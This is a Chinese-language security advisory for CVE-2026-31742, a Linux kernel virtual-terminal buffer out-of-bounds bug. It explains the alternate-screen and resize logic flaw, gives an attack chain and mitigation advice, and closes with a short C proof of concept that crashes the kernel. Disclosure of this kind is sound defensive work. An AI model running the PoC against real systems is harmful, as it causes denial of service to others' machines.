IPBUF安全漏洞报告
English
CVE-2026-31742 CVSS 7.8 高危

CVE-2026-31742 Linux内核虚拟终端缓冲区越界漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31742
漏洞类型
内存越界访问
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存越界本地拒绝服务VT子系统

漏洞概述

Linux内核虚拟终端(VT)子系统存在一个内存越界访问漏洞。当终端切换到备用屏幕时,系统会将Unicode缓冲区保存并在退出时恢复。如果在备用屏幕模式下调整控制台大小,由于缓冲区指针为NULL,系统不会重新分配内存。然而,当退出备用屏幕时,系统恢复了旧的缓冲区指针,其尺寸与新控制台尺寸不匹配。任何基于新尺寸访问该缓冲区的操作都会导致越界访问,进而引发内核崩溃(kernel oops)。该漏洞可被本地低权限用户利用,导致系统拒绝服务。

技术细节

该漏洞源于Linux内核`drivers/tty/vt/vt.c`中备用屏幕切换与控制台大小调整之间的逻辑缺陷。具体流程如下:1. `enter_alt_screen()`函数将当前`vc_uni_lines`保存到`vc_saved_uni_lines`,并将`vc_uni_lines`置为NULL。2. 在备用屏幕模式下,用户调用`vc_do_resize()`调整终端大小。由于`vc_uni_lines`为NULL,调整大小逻辑跳过了缓冲区的重新分配。3. 随后调用`leave_alt_screen()`退出备用屏幕,系统将`vc_saved_uni_lines`(仍指向旧尺寸分配的缓冲区)恢复给`vc_uni_lines`。此时,`vc_saved_uni_lines`指向的内存大小是基于旧尺寸(如80x25),但当前的`vc_rows`和`vc_cols`已变为新尺寸(如240x67)。4. 当后续操作(如`csi_J`清屏)遍历Unicode缓冲区时,会使用新的行列索引访问旧缓冲区,导致访问超出分配边界的内存地址。这会触发页错误,导致内核恐慌或Oops,造成系统不可用。

攻击链分析

STEP 1
进入备用屏幕
攻击者诱导终端调用enter_alt_screen(),将vc_uni_lines保存至vc_saved_uni_lines并置空。
STEP 2
调整控制台大小
在备用屏幕模式下通过ioctl调整窗口大小。由于vc_uni_lines为空,内核跳过缓冲区重分配逻辑。
STEP 3
退出备用屏幕
调用leave_alt_screen(),内核将旧的(尺寸不匹配的)缓冲区指针恢复给vc_uni_lines。
STEP 4
触发越界访问
执行csi_J等操作,利用新的行列参数访问旧缓冲区,导致内存越界访问及内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdlib.h> // Trigger the resize -> alt screen -> resize -> exit -> clear sequence int main() { struct winsize size; // Simulate entering alternate screen (escape sequence) printf("\033[?1049h"); fflush(stdout); // Resize terminal while in alternate screen // Kernel skips reallocation of vc_uni_lines because it is NULL size.ws_row = 67; size.ws_col = 240; ioctl(STDOUT_FILENO, TIOCSWINSZ, &size); // Exit alternate screen // Kernel restores vc_saved_uni_lines (old size 80x25) but vc_rows/cols are 240x67 printf("\033[?1049l"); fflush(stdout); // Trigger operation that traverses buffer (e.g., Clear Screen) // This causes out-of-bounds access reading/writing past the old buffer printf("\033[2J"); fflush(stdout); return 0; }

影响范围

Linux Kernel (versions prior to commit 40014493cece72a0be5672cd86763e53fb3ec613)

防御指南

临时缓解措施
建议立即更新Linux内核以修复该越界读取漏洞。在无法更新的情况下,应限制非管理员用户对本地控制台和终端设备的访问权限,以防止潜在的拒绝服务攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表